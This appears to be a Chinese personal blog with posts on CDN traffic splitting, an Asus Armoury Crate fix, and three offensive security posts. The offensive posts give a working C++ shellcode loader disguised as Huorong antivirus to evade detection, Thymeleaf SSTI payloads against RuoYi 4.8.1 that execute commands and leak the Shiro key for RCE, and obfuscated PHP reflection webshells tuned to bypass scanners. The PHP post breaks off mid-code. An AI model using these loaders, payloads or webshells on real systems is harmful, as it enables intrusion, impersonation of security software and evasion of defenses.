/1dreamGN/Blog

国内EdgeOne+国外Cloudflare和ESA智能分流访问

GowNinng — Sun, 21 Dec 2025 10:53:17 GMT

前言

最近在给网站做cdn加速，白嫖了腾讯的EdgeOne和阿里的esa，目前就这一个站，这么多cdn都不用的有点浪费了，EdgeOne国内速度很快，esa海外比EdgeOne快，加上Cloudflare直接让网站智能分流，延迟巨降。

开始

分线路解析

先不管cf，首先先将域名在eo和esa中添加上去，并且在国内dns服务商上面添加cname解析。

eo的cname一定要解析境内，esa和Cloudflare解析默认即可。

先别开IPv6服务，eo的IPv6服务有点拉跨，回源的时候巨慢无比。

esa同理，缓存配置什么的就不多说了，这几家都可以设置规则模版，根据网站类型自己配置即可。

接下来就是Cloudflare，和这两家不同，Cloudflare上面有个自定义主机名的功能，首先要先准备两个域名，准备两个域名，一个为主域名，另一个为回源域名，其中主域名就是你要用来对外访问的业务网站，回源域名则必须托管在 Cloudflare 用于回源。

先添加回源域名，ns解析该域名，由Cloudflare进行解析托管。

添加dns解析，将业务ip使用A记录解析，并开启代理状态。

然后点击SSL/TLS中的自定义主机名选项，自定义主机名功能要绑定信用卡订阅该功能，该功能有100免费额度，绑定后开通功能，将回退源填写回源域名，自定义主机名填写业务域名，源服务器同样是回源域名。

添加后会显示让解析的主机记录，记录类型，记录值，将这些东西添加到dns解析，解析后等待状态更改成有效，将DCV委派也解析了。

完成之后创建一个dns解析，解析记录为cname，记录值为Cloudflare的回源域名，线路选择默认即可。

现在使用dig命令测试是否分流成功，分别使用阿里dns、Cloudflare dns和谷歌dns，如下图所示，已经成功分流。

itdog测试一下延迟，国外节点esa和Cloudflare已经分流，国内使用eo。

EO→CF 嵌套

将上面已配置的Cloudflare回源域名直接配置到edgeone的业务域名的源站配置上面，因Cloudflare回源域名已经配置ssl，回源协议使用HTTPS。

切记关闭Cloudflare的IPv6兼容性，eo回源IPv6太慢，两个cdn的缓存配置要一致。

Cloudflare源站直连效果：

eo加速效果：

原理：用户→EO 节点→CF 节点→源站，可使用Cloudflare的Worker反代国内不能直连的网站并用edgeone加速。

弊端

HTTPS到期的续期可能会失败。

不同 CDN 的 CNAME 分流本身不会直接 “冲突”，但会导致 ACME 验证流量被导向错误节点，从而触发续期失败—— 这才是多 CDN 证书自动续期的核心风险，而非 CNAME 记录本身冲突。

核心逻辑：CNAME 分流是 “路径错配”，不是 “记录冲突”

CNAME 记录本身不会冲突：DNS 规范中同一域名只能有 1 条 CNAME（或与 A/AAAA 互斥），多 CDN 分线路解析时（如国内 CNAME 到 EO、国外 CNAME 到 ESA/CF），本质是按地域 / 运营商返回不同 CNAME，DNS 层面无冲突。

真正的风险是验证流量 “跑偏”：CA（如 Let’s Encrypt）发起 ACME 验证时（HTTP-01/DNS-01），流量可能被分流到非目标 CDN 节点，导致无法返回正确校验值，最终验证失败。

所以，最好需要自己做好ssl证书的自动化部署策略。

其他

Cloudflare设置浏览器缓存为7天，返回包中却返回一年。

HTTP/1.1 200 OK
Date: Tue, 23 Dec 2025 01:41:58 GMT
Content-Type: text/javascript
Connection: keep-alive
Last-Modified: Mon, 01 Sep 2025 02:29:16 GMT
Cache-Control: max-age=31536000
Speculation-Rules: "/cdn-cgi/speculation"
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=kK6SUOIZhY4GIv8Yjub5t4aSSKq4Prc24MLa%2BOTe3XhVba8DDIM6I0GaYeJ0CmifnclpJ5Znxr1LisL%2FrnOQJW4i%2FeLz2crrH%2BUL"}]}
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
vary: accept-encoding
Age: 6
cf-cache-status: HIT
Server: cloudflare
CF-RAY: 9b2428e0789d5209-DEN
alt-svc: h3=":443"; ma=86400

添加规则，根据网站缓存需求添加规则，然后修改响应头Cache-Control的值为想要设定的值。

一种老生常谈却又很新颖的恶意程序免杀方式

GowNinng — Wed, 3 Dec 2025 07:14:20 GMT

前言

起源于群友分享了一个披了火绒的皮的程序加载器，可以加载恶意程序的shellcode到内存中运行从而绕过大部分杀软，就想着也做一个加载器尝试一下。

过程

首先，先让应用程序转换为hex编码，使用donut.exe可将应用程序转换为hex编码并输出到文件中。首先，先将需要转换编码的应用程序转换成hex：

.\donut.exe -i suo5-gui-windows.exe -o data.hex -f 8 -a 2

文件夹中生成data.hex

生成完毕后，写一段用c++编写的加载器代码，直接用AI生成，bug自己再微调下，代码功能主要是读取同目录下data.hex文件并加载hex编码到内存中，如果运行该加载器的时，程序在不带参数运行时直接执行 data.hex 文件中的代码，带参数运行时则将参数传递给 data.hex 文件中的代码执行。

#include 
#include 
#include 
#include 
#include 
#include 

// 设置控制台代码页为 UTF-8
void SetConsoleUTF8() {
    SetConsoleOutputCP(CP_UTF8);
    SetConsoleCP(CP_UTF8);
}

// 辅助函数：过滤非 Hex 字符
bool IsHexChar(char c) {
    return (c >= '0' && c <= '9') || 
           (c >= 'a' && c <= 'f') || 
           (c >= 'A' && c <= 'F');
}

// 辅助函数：将单个 hex 字符转换为整数
unsigned char HexCharToByte(char c) {
    if (c >= '0' && c <= '9') return c - '0';
    if (c >= 'a' && c <= 'f') return c - 'a' + 10;
    if (c >= 'A' && c <= 'F') return c - 'A' + 10;
    return 0;
}

// 将 Hex 字符串转换为 Bytes
std::vector HexToBytes(const std::string& hex) {
    std::vector bytes;
    std::string cleanHex;
    
    // 预处理：只保留十六进制字符
    for (char c : hex) {
        if (IsHexChar(c)) {
            cleanHex += c;
        }
    }

    if (cleanHex.length() % 2 != 0) {
        std::cerr << "[!] 错误: Hex 字符串长度不是偶数." << std::endl;
        return bytes;
    }

    bytes.reserve(cleanHex.length() / 2);
    for (size_t i = 0; i < cleanHex.length(); i += 2) {
        unsigned char high = HexCharToByte(cleanHex[i]);
        unsigned char low = HexCharToByte(cleanHex[i+1]);
        bytes.push_back((high << 4) | low);
    }

    return bytes;
}

// 从文件加载数据
std::vector LoadDataFromFile(const std::string& filename) {
    std::ifstream file(filename, std::ios::binary);
    if (!file.is_open()) {
        std::cerr << "[!] 错误: 无法打开文件 " << filename << std::endl;
        return std::vector();
    }

    // 读取整个文件内容
    std::stringstream buffer;
    buffer << file.rdbuf();
    std::string content = buffer.str();
    
    file.close();
    
    // 转换为字节向量
    return HexToBytes(content);
}

// 构建命令行参数字符串
std::string BuildCommandLine(int argc, char* argv[]) {
    std::string cmdLine;

    // 跳过程序名，从第一个参数开始
    for (int i = 1; i < argc; i++) {
        if (i > 1) {
            cmdLine += " ";
        }
        cmdLine += argv[i];
    }

    return cmdLine;
}

// 执行内存中的代码
bool ExecuteCode(const std::vector& codeData, const std::string& arguments) {
    if (codeData.empty()) {
        std::cerr << "[!] 错误: 空的数据." << std::endl;
        return false;
    }

    // 分配内存
    void* exec_mem = VirtualAlloc(nullptr, codeData.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec_mem) {
        std::cerr << "[!] 错误: 内存分配失败." << std::endl;
        return false;
    }

    // 复制数据到分配的内存
    memcpy(exec_mem, codeData.data(), codeData.size());

    // 如果有参数，将其复制到可执行内存附近
    void* arg_mem = nullptr;
    if (!arguments.empty()) {
        size_t argLen = arguments.length() + 1;
        arg_mem = VirtualAlloc(nullptr, argLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (arg_mem) {
            memcpy(arg_mem, arguments.c_str(), argLen);
        }
    }

    std::cout << "[*] 正在执行代码..." << std::endl;
    if (!arguments.empty()) {
        std::cout << "[*] 参数: " << arguments << std::endl;
    }

    // 创建线程执行代码
    HANDLE hThread = CreateThread(
        nullptr, 
        0, 
        (LPTHREAD_START_ROUTINE)exec_mem, 
        arg_mem, 
        0, 
        nullptr
    );

    if (!hThread) {
        std::cerr << "[!] 错误: 创建线程失败." << std::endl;
        VirtualFree(exec_mem, 0, MEM_RELEASE);
        if (arg_mem) VirtualFree(arg_mem, 0, MEM_RELEASE);
        return false;
    }

    // 等待线程完成
    WaitForSingleObject(hThread, INFINITE);
    
    // 清理
    CloseHandle(hThread);
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    if (arg_mem) VirtualFree(arg_mem, 0, MEM_RELEASE);
    
    return true;
}


int main(int argc, char* argv[]) {
    // 设置控制台编码为 UTF-8
    SetConsoleUTF8();
    
    // 构建命令行参数字符串
    std::string arguments = BuildCommandLine(argc, argv);
    
    std::cout << "[*] 正在从 data.hex 文件加载数据" << std::endl;
    
    // 从文件加载数据
    std::vector codeData = LoadDataFromFile("data.hex");
    if (codeData.empty()) {
        std::cerr << "[!] 错误: 从文件加载数据失败." << std::endl;
        return 1;
    }
    
    std::cout << "[*] 数据加载成功. 大小: " << codeData.size() << " 字节." << std::endl;
    
    // 执行代码
    if (!ExecuteCode(codeData, arguments)) {
        std::cerr << "[!] 错误: 执行代码失败." << std::endl;
        return 1;
    }
    
    std::cout << "[*] 执行完成." << std::endl;
    return 0;
}

新建resource.rc文件，在文件中添加火绒的ico图标，并添加火绒的应用信息。

#include 

1 ICON "ScanVirus.ico" // 如果你有火绒的图标，取消注释并将图标文件命名为 huorong.ico 放在同目录下

VS_VERSION_INFO VERSIONINFO
FILEVERSION     5,0,70,8
PRODUCTVERSION  5,0,70,8
FILEFLAGSMASK   0x3fL
#ifdef _DEBUG
FILEFLAGS       0x1L
#else
FILEFLAGS       0x0L
#endif
FILEOS          0x40004L
FILETYPE        0x1L
FILESUBTYPE     0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "080404b0" // 中文(简体), Unicode
        BEGIN
            VALUE "CompanyName",      "Huorong Security Network Technology Co., Ltd."
            VALUE "FileDescription",  "Huorong Internet Security Daemon"
            VALUE "FileVersion",      "5.0.70.8"
            VALUE "InternalName",     "HipsDaemon"
            VALUE "LegalCopyright",   "Copyright (C) Huorong Security. All rights reserved."
            VALUE "OriginalFilename", "HipsDaemon.exe"
            VALUE "ProductName",      "Huorong Internet Security"
            VALUE "ProductVersion",   "5.0.70.8"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x804, 1200
    END
END

使用Visual Studio 2022打开，从现有代码创建项目，查看会否有问题，没问题可直接编译。

在编译的过程中可能会产生各种各样的报错，可以将报错扔给AI解决，主要是vs配置的问题。

生成项目，将项目重命名为火绒杀毒。把data.hex拉到同级目录运行测试下。

先看看应用属性。

打开cmd，运行exe。

进程为Huorong Internet Security Daemon下的Suo5。

试试fscan，给加载器传参数 -h 127.0.0.1，下面的杀软没问题。

最后

很类似cs分离免杀的绕过方式，老生常谈却又很新颖。

Armoury Crate or Ghelper? Of course fxxk ROG!

GowNinng — Tue, 2 Dec 2025 05:13:35 GMT

前言

作为之前拥有ROG全家桶的用户，之前对奥创还挺有好感，主要是可以联动外设什么的，界面还挺炫酷，但是在21年后就卖了，没用多长时间今年购买了幻14air，这奥创中心越来越不好用，各种bug，包括神光同步失效、设备设置缺失功能、更新驱动卡死等，这不是最操蛋的，最操蛋的是一直在自动更新，把应用商店自动更新关了，过一段时间就会莫名其妙的打开，然后奥创就自动更新了，更新就更新吧，还一大堆问题，ROG Live Service一直启动不了，uwp功能缺失等。在网上搜索，发现很多人都有这种情况，更新后出现很多问题，特别是501代码报错。问了官方工程师试了各种方法也没啥用。

记录下我与奥创中心的对抗过程，稳定在6.2版本保持各项功能正常使用。

过程

一般大部分用户升级6.3版本的时候会出现501部分服务不可用，元凶就是ROG Live Service，一直重启但是启动不了，不知道是什么原因，当前最新版本是3.3.12.0。奥创官网下载地址 Armoury Crate - 服务支持中Armoury Crate 完整安装包版本为Version 6.2.11，先下载这个完整包，然后再下载奥创卸载工具，先使用卸载工具将当前电脑上有问题的奥创卸载，如果无法卸载，下载GEEK卸载工具将以下两个程序先卸载：

卸载后，找到C:\Program Files\ASUS 和 C:\Program Files (x86)\ASUS 文件夹删除，如果出现占用就先用火绒或者电脑管家解除文件占用：

删完之后重启，重启后就可以安装完整包的奥创了。

装完离线版的奥创之后，随后运行 regedit 打开注册表，在计算机\HKEY_LOCAL_MACHINE\SOFTWARE\ASUS\ROG Live Service、计算机\HKEY_LOCAL_MACHINE\SOFTWARE\ASUS\ROGLiveServicePackage、计算机\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\ASUS\ROG Live Service 三个地方修改其中的 Version 版本号为 3.3.12.0 来临时绕过：

修改完后直接重启，不想重启的话直接打开cmd管理员运行，输入 gpupdate /force /wait:0 强制刷新注册表：

重启或者强制刷新后打开奥创中心，ROG Live Service正常运行。

只更新下面的设备与元件，上面的UWP应用程序不要更新。

当前ROG Live Service版本为3.3.12.0，就可以了。

保险起见，最好再将微软应用商店的自动更新关闭。

当ROG Live Service更新的时候，如果版本号大于修改的版本号时，会自动更新，导致501报错，可下载这两个系统组件：下载 .NET Framework 4.8.1 Web Installer，最新受支持的 Visual C++ 可再发行程序包下载 | Microsoft Learn，安装完重启，有可能就正常了。

其他

Windows Dynamic Lighting设置奥创管理不生效。把Amoury Crate的控制顺序拉到动态照明背景控制器的上面，但是切换页面以后还是会回到底部（这导致了Aura无法优先于Windows dynamic light 去控制灯光）。有两种方法：

1.尝试卸载功能库的游乐场核心，然后再重装，大概率可以使用。

2.修改注册表

这是贴吧吧友提供的方法：按Win+R打开regedit注册表，找到以下目录计算机\HKEY_CURRENT_USER\Software\Microsoft\Lighting\Providers先把WindowsLighting重命名为4，再把后面的两项分别重命名为1和2，然后再把WindowsLighting重命名为3（下面这个图是动态光效切换一开始就正常的情况下，动态光效切换不正常情况下会多一个ASUSAmbientHAL64_xxxxx的字段）

最后

推荐用Ghelper。

若依最新版本4.8.1漏洞 SSTI绕过获取ShiroKey至RCE

GowNinng — Thu, 27 Nov 2025 12:46:00 GMT

前言

最近在微信公众号阅读某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)这篇文章，这篇文章的作者提供了一种新的表达式注入绕过方法，遂想通过这个绕过方法更改之前的利用链绕过检测并实现RCE。

什么是Thymeleaf表达式注入？

Thymeleaf是一种流行的Java模板引擎，用于在Web应用中生成动态HTML页面。表达式注入是指攻击者通过输入精心构造的数据，使得应用程序执行了非预期的表达式代码。

成功的Thymeleaf表达式注入可能导致远程代码执行、数据库信息泄露、服务器被完全控制等严重后果。

漏洞分析

RCE

发现的这个漏洞存在于若依管理系统的CacheController.java文件中，涉及/getNames接口：

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap) {
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment; // 模板注入漏洞
}

漏洞点：

控制器：CacheController.java
接口：/getNames
漏洞字段：fragment参数
漏洞原因：直接将用户输入拼接到Thymeleaf模板路径中。

在上面的文章中，已知这个点存在ssti漏洞，并且可直接通过表达式传入命令执行方法执行命令。在当前版本中，之前的表达式注入已失效，通过__|$${表达式}|__::.x 该格式可进行绕过，先来试验一下：

fragment=__|$${#response.getWriter().print('111')}|__::.x

发现是可以绕过的，页面成功输出111，但是想要和之前的payload一样直接反射调用runtime是不行的，原因在于最新版本的Thymeleaf中，SpringStandardExpressionUtils类将检查方法从containsSpELInstantiationOrStatic升级为containsSpELInstantiationOrStaticOrParam，并加强了检查逻辑，明确禁止上述危险语法的使用。这使得直接使用这些语法进行攻击变得更加困难。

最新版本中禁用的语法：

❌ T(java.lang.Runtime)（类型引用）
❌ new java.io.File()（对象实例化）
❌ T ()（带空格的类型引用）
❌ param（参数引用）

遇事不决先问AI，看看java命令执行和代码执行的方法都有什么：

嗯，还挺多，org.springframework.expression.spel.standard.SpelExpressionParser 和javax.script.ScriptEngineManager 但是javax.script.ScriptEngineManager从 JDK 15 开始，Nashorn JavaScript 引擎已被移除，这种利用方式在 JDK 15+ 环境下会失效；ProcessBuilder可直接new.java.lang.ProcessBuilder，这几个先不试了。

经过测试，变量注入表达式也是行不通的，但是通过链式调用是可以成功执行的，因此表达式格式可以使用方法链式调用。之前的利用链不可用，经过查找，发现可以在SecurityManager 中获取获取getRuntime方法，根据之前payload的调用方法，构造出以下利用链:

获取SecurityManager → 获取Class → 获取ClassLoader → 加载Runtime类 → 获取getRuntime方法 → 获取Runtime实例 → 获取exec方法 → 执行系统命令

那么构造出如下利用链：

fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods().?[name=='getRuntime'][0].invoke(null).exec('calc'))}|__::.x

现在执行这个payload，看是否能够执行。

直接500报错，那么为什么这个链看起来是正常的却不能执行？先一步一步来，一点一点删除调用的方法，直到删除到loadClass('java.lang.Runtime') 这个地方成功输出。

看来是有某个安全监测机制不让获取getRuntime方法，那么还有机会能绕过吗？有的。在 SpEL 中，对于无参数的方法调用，括号 () 是可选的，getMethods()和

getMethods作用是一样的，那么试一下把括号去掉是否报错。

没有报错，成功获取到getRuntime方法，那现在继续调试上面完整的利用链。

还是报错，从目前来看，直接调用exec的话会被监测机制拦截到，用同样的方法反射调用exec。

还是报错500，通过观察当前利用链，将getClass()的括号删除。

获取成功，现在只获取到了方法，但是没反射调用，由于获取到的是第一个exec方法，在查找当前exec方法的用法后，构造以下利用链：

fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x

等价于Runtime.exec(Runtime.getRuntime,"calc");,意思就是执行Runtime.getRuntime中的exec方法。

成功执行命令。~~经过测试jdk8u192可执行命令，300+以上版本就不行了，高版本暂时没分析。~~

填个坑，其实jdk高版本和低版本调用的不是一个exec方法，上面使用的jdk是8。爆破exec方法位置，如下高版本也执行成功：

利用链如下：

fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][5].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x

我发现每个版本，比如jdk8、jdk11、jdk21每个exec的方法位置可能不同，可以进行爆破方法位置来确定exec的位置，比如：

21版本在第4个位置，其他版本可以进行爆破。

或者使用空字符串( '' )作为起点，这个同样要爆破exec位置，比 @securityManager 更隐蔽，绕过类加载检测，使用 forName() 替代 loadClass() ，可能绕过某些针对特定方法名的检测：

fragment=__|$${#response.getWriter().print("".getClass().forName("java.lang.Runtime").getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke("".getClass().forName("java.lang.Runtime").getMethods.?[name=='getRuntime'][0].invoke(null),"calc"))}|__::.x

解释一下如果将对象变成空字符串：''.getClass().getClassLoader().loadClass('java.lang.Runtime') 报错的主要原因是：

1. ClassLoader为null ：String类是由JVM的bootstrap classloader加载的，而bootstrap classloader在Java中表示为null，所以调用 ''.getClass().getClassLoader() 会返回null，导致后续调用 loadClass() 方法时抛出NullPointerException。

2. 正确的写法应该是：

使用 ''.getClass().forName('java.lang.Runtime')

或者 Class.forName('java.lang.Runtime')

3. 为什么forName可以工作：

Class.forName() 方法内部会处理bootstrap classloader加载的类

即使底层使用的是null classloader，forName方法也能正确处理核心Java类

利用链思维图（ai生成的，箭头有点乱，按顺序看就好）

ShiroKey至RCE

上面的rce就结束了，但是观察代码发现，若依最新版本shirokey由SpringBean管理，可以调用SpringBean获取shirokey，下面开始查找shirokey的利用链。

首先先查找shiro关键方法，发现在securityManager Bean下存在如下代码：

@Bean
// [!code focus]
public SecurityManager securityManager(UserRealm userRealm)
{
    DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
    // 设置realm
    securityManager.setRealm(userRealm);
    // 记住我
    // [!code focus]
    securityManager.setRememberMeManager(rememberMe ? rememberMeManager() : null);
    // 注入缓存管理器
    securityManager.setCacheManager(getEhCacheManager());
    // session管理器
    securityManager.setSessionManager(sessionManager());
    return securityManager;
}

在securityManager方法中，通过rememberMeManager()方法设置rememberMeManager：

public CustomCookieRememberMeManager rememberMeManager()
{
    CustomCookieRememberMeManager cookieRememberMeManager = new CustomCookieRememberMeManager();
    cookieRememberMeManager.setCookie(rememberMeCookie());
    if (StringUtils.isNotEmpty(cipherKey))
    {
        // [!code focus]
        cookieRememberMeManager.setCipherKey(Base64.decode(cipherKey));
    }
    else
    {
        cookieRememberMeManager.setCipherKey(CipherUtils.generateNewKey(128, "AES").getEncoded());
    }
    return cookieRememberMeManager;
}

如果配置文件中设置了 shiro.cookie.cipherKey ，则使用该配置的Base64解码值，否则，通过 CipherUtils.generateNewKey(128, "AES").getEncoded() 生成随机密钥，进入生成随机密钥的方法实现：

public static Key generateNewKey(int keyBitSize, String algorithmName)
{
    KeyGenerator kg;
    try
    {
        kg = KeyGenerator.getInstance(algorithmName);
    }
    catch (NoSuchAlgorithmException e)
    {
        String msg = "Unable to acquire " + algorithmName + " algorithm.  This is required to function.";
        throw new IllegalStateException(msg, e);
    }
    kg.init(keyBitSize);
    return kg.generateKey();
}

找到了cipherKey的位置，现在通过表达式获取一下试试：

fragment=__|$${#response.getWriter().print(@securityManager.rememberMeManager.cipherKey)}|__::.x

成功获取到shirokey的字节码，接下来，通过上面的代码，反射调用加密方法并加密shirokey，构造利用链如下：

fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getDeclaredMethod('getEncoder').invoke(null).encodeToString(@securityManager.getRememberMeManager().getClass().getSuperclass().getMethods().?[name=='getCipherKey'][0].invoke(@securityManager.getRememberMeManager())))}|__::.x

详细解释一下表达式调用链结构，在表达式 @securityManager.getRememberMeManager().getClass().getSuperclass().getMethods().?[name=='getCipherKey'][0].invoke(@securityManager.getRememberMeManager()) 中：

1. @securityManager.getRememberMeManager() ：获取rememberMeManager对象实例

2. .getClass().getSuperclass() ：获取该对象的父类（即CookieRememberMeManager）

3. .getMethods().?[name=='getCipherKey'][0] ：找到名为getCipherKey的方法

4. .invoke(@securityManager.getRememberMeManager()) ：调用该方法，第一个参数是方法的调用目标对象

非静态方法调用： getCipherKey() 是非静态方法，必须在一个具体的对象实例上调用

实例方法的特性：实例方法操作的是对象的成员变量（cipherKey就是rememberMeManager对象的一个成员变量）

反射机制要求：当使用反射API调用非静态方法时，必须提供该方法所属的对象实例作为invoke的第一个参数

如果不提供对象实例，Java运行时将不知道从哪个对象中获取cipherKey的值。这就像调用普通方法时，必须指定是哪个对象调用该方法一样（如 obj.method() 而不是 method() ）。

运行该表达式。

成功获取，该表达式还可以精简一下：

fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x

使用获取到的key，放到工具里测试下：

成功RCE。

引用

https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQw某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)

PHP_WebShell_反射Bypass

GowNinng — Sat, 21 Jun 2025 10:07:23 GMT

前言

之前在研究Java内存马的时候，反射机制是必不可少的，通过反射可调用任意方法。于是在想是否PHP的webshell是否也可以使用反射机制来写，之前发现朋友https://gitee.com/iqingshan写了使用反射来调用命令执行代码的webshell，于是乎在这位朋友的基础上，尝试用反射来修改普通的PHP一句话webshell。

PHP5版本

这是普通的PHP一句话：

接下来，使用反射来写webshell，先写一个恶意class用于反射调用：

var2 = "var1";
        $var2 = 'assert';
        $this->var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}

然后使用反射调用该class类：

command尝试访问公共属性command的值，这个值被用作字符串来查找属性
    $reflectionProperty = $reflectionClass->getProperty($instance->var2);
    // 设置反射属性为可访问，即使它是私有或受保护的
    $reflectionProperty->setAccessible(true);
    // 从实例中获取该属性的实际值（通常是一个闭包函数）
    $command = $reflectionProperty->getValue($instance);
    // 创建一个反射函数对象，用于检查和调用函数
    $reflectionMethod = new ReflectionFunction($command);
    // 调用获取的函数，并传入$param参数（通常是从请求中获取的代码）
    $result = $reflectionMethod->invoke($param);
    echo $result;
}

接下来，将这两段代码结合：

getProperty($instance->var2);
    $reflectionProperty->setAccessible(true);
    $command = $reflectionProperty->getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod->invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this->var2 = "var1";
        $var2 = 'assert';
        $this->var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?>

这个虽然可以执行，但是过不了长亭webshell和阿里伏魔webshell的检测。

那继续修改，先后将$var2 = 'assert';修改成$var2 = 'ass'.'ert';也不行，但是改成$var2 = 'ss'.'ert';可以绕过，但是不能执行代码了呀。

~~那么可以定义一个新的变量，比如~~$var3="a"~~。。。。。~~

不用想，肯定不行，但是可以另辟蹊径，使用define设置全局变量：

define('var3','a');

然后将var3拼接到 'ss'.'ert';，就等于$var2 = var3.'ss'.'ert';,那现在直接修改代码：

getProperty($instance->var2);
    $reflectionProperty->setAccessible(true);
    $command = $reflectionProperty->getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod->invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this->var2 = "var1";
        $var2 = var3.'ss'.'ert';
        $this->var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?>

来尝试一下执行phpinfo，ok没问题。

那试试上传长亭伏魔和virustotal，伏魔和virustotal随便过，长亭第一次过了，后面再传上去突然能识别木马了。。。

那好，既然define这个思路可以过部分检测的话，就顺着define修改，既然拼接行不通，那就是不能在该代码中有完整的assert字段，可以试着修改define的字段，首先先尝试以下代码：

getProperty($instance->var2);
    $reflectionProperty->setAccessible(true);
    $command = $reflectionProperty->getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod->invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this->var2 = "var1";
        $var2 = var3;
        $this->var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?>

define('var3','a'.'ss'.'et'); 少一个r。

既然少字段可以绕过检测，那么，是不是可以尝试从外部获取字母并拼接成assert呢？当然可以，从C:\Windows\System32\drivers\etc文件中获取a s s e r t六个字母拼接并赋值到全局变量：

//全局变量 从C:\Windows\System32\drivers\etc文件中获取g e t三个字母拼接并赋值到全局变量gowninng
$etcDir = 'C:\Windows\System32\drivers\etc';
$files = scandir($etcDir);
$content = '';
foreach ($files as $file) {
    if ($file != '.' && $file != '..') {
        $content .= file_get_contents("$etcDir/$file");
        if (strlen($content) > 100) break; // 防止读取太多内容
    }
}
$a = ''; $s = ''; $e = ''; $r = ''; $t = '';
for ($i = 0; $i < strlen($content); $i++) {
    $char = strtolower($content[$i]);
    if ($char == 'a' && empty($a)) $a = $char;
    if ($char == 's' && empty($s)) $s = $char;
    if ($char == 'e' && empty($e)) $e = $char;
    if ($char == 'r' && empty($r)) $r = $char;
    if ($char == 't' && empty($t)) $t = $char;
    if (!empty($a) && !empty($s) && !empty($e) && !empty($r) && !empty($t)) break;
}
define("var3", $a . $s . $s. $e . $r . $t);

完整代码：

 100) break; // 防止读取太多内容
    }
}
$a = ''; $s = ''; $e = ''; $r = ''; $t = '';
for ($i = 0; $i < strlen($content); $i++) {
    $char = strtolower($content[$i]);
    if ($char == 'a' && empty($a)) $a = $char;
    if ($char == 's' && empty($s)) $s = $char;
    if ($char == 'e' && empty($e)) $e = $char;
    if ($char == 'r' && empty($r)) $r = $char;
    if ($char == 't' && empty($t)) $t = $char;
    if (!empty($a) && !empty($s) && !empty($e) && !empty($r) && !empty($t)) break;
}
define("var3", $a . $s . $s. $e . $r . $t);
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    $instance = new Command();
    $reflectionClass = new ReflectionClass('Command');
    $reflectionProperty = $reflectionClass->getProperty($instance->var2);
    $reflectionProperty->setAccessible(true);
    $command = $reflectionProperty->getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod->invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this->var2 = "var1";
        $var2 = var3;
        $this->var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?>

直接绕过，那么有同学会说，assert这样赋值的话，php7以上能好使么？当然不好使，在 PHP 7.2+ 版本中，assert() 不再支持字符串参数动态求值，所有以下报错：

所以我们要改class类的代码了，直接让assert或者eval直接在代码中作为方法引用。

PHP7版本

首先，要修改Command类的代码：

class Command {
    private $get;
    public $command;
    public function __construct() {
        $this->command = var3;
        $this->get = function ($param) {  return eval($param.'exit();//'); };
    }
}

既然将eval写到代码中了，就不用再通过外部文件获取代码执行的方法名称了，但是根据上面的反射代码条件，反射是访问公共属性command的值，现在$this->command = var3，我们就要赋值全局变量var3为get三个字母，才能调用$this->get属性的实际值，这个值为function ($param) { return eval($param.'exit();//'); }; ，通过创建一个反射函数对象反射该无命名方法并传入参数。

接下来贴上完整代码：

 100) break; // 防止读取太多内容
    }
}
$g = ''; $e = ''; $t = '';
for ($i = 0; $i < strlen($content); $i++) {
    $char = strtolower($content[$i]);
    if ($char == 'g' && empty($g)) $g = $char;
    if ($char == 'e' && empty($e)) $e = $char;
    if ($char == 't' && empty($t)) $t = $char;
    if (!empty($g) && !empty($e) && !empty($t)) break;
}
define("var3", $g . $e . $t);
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
